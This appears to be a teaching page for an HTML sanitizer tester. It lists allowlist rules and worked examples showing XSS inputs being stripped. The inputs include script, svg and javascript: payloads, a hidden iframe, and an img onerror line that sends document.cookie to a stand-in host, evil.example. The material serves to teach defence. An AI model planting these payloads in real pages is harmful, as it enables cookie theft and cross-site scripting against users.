HTML Sanitize Tester
Paste dirty HTML and watch an allowlist sanitizer take it apart: which tags are kept, which are stripped with their contents, and exactly which rule fired for every decision. A hands-on way to learn how HTML sanitization stops XSS.
Press “Test sanitization” to run the allowlist filter.
The preview renders the sanitized output only. Because the sanitizer already removed every executable construct, rendering it is safe — that is the whole point of sanitizing before rendering.
Your input
Sanitized output
Per-rule decision log
| Decision | Target | Why |
|---|
The allowlist rules
The sanitizer below is intentionally simple so every rule can be observed. Production libraries apply the same principles with far deeper coverage.
| Rule | What happens |
|---|---|
| R1 · allowlist | Only a b br em i li ol p strong u ul img are kept. Unknown wrappers (div span…) are unwrapped — text kept. Active-content tags (script style iframe object embed svg math form input…) are removed with their contents. |
| R2 · event handlers | Any attribute starting with on (onclick, onerror, …) is always stripped. |
| R3 · style | The style attribute is always stripped (CSS can hide javascript: URLs and expression()). |
| R4 · attributes | Only title (everywhere), href (on links), src/alt (on images) survive. |
| R5 · URLs | href/src allow http https (+ mailto on links) or relative URLs. Entities are decoded and whitespace stripped before the check, so javascript: and java<tab>script: are caught. |
| R6 · comments | HTML comments, doctypes and processing instructions are removed. |
| R7 · case | Tag and attribute names match case-insensitively (<ScRiPt> is still a script tag). |
Worked examples
Each example below was computed by the actual sanitizer engine — input in, output out, with the rules that fired.
<script>alert("xss")</script><p>Welcome back!</p><p>Welcome back!</p>
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped
<img src="avatar.png" onerror="fetch('https://evil.example/?c='+document.cookie)"><img src="avatar.png">
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped
<svg onload="alert(1)"><circle r="10"/></svg>
(empty — everything removed)0 kept · 1 removed · 0 unwrapped · 0 attrs stripped
<a href="javascript:alert(1)">Free coupons</a>
<a>Free coupons</a>
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped
<p style="color:red" onclick="track()" class="intro">Hello</p>
<p>Hello</p>
1 kept · 0 removed · 0 unwrapped · 3 attrs stripped
<scr<script>ipt>alert(1)</scr</script>ipt>
<script>
0 kept · 1 removed · 0 unwrapped · 0 attrs stripped
<p>Article text</p><iframe src="https://evil.example/" width="0" height="0"></iframe>
<p>Article text</p>
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped
<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>
<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>
7 kept · 0 removed · 0 unwrapped · 0 attrs stripped
<div class="layout"><span id="s1">Keep this text</span></div>
Keep this text
0 kept · 2 removed · 2 unwrapped · 0 attrs stripped
<!--[if IE]><script>alert(1)</script><![endif]--><p>Visible</p>
<p>Visible</p>
1 kept · 0 removed · 0 unwrapped · 0 attrs stripped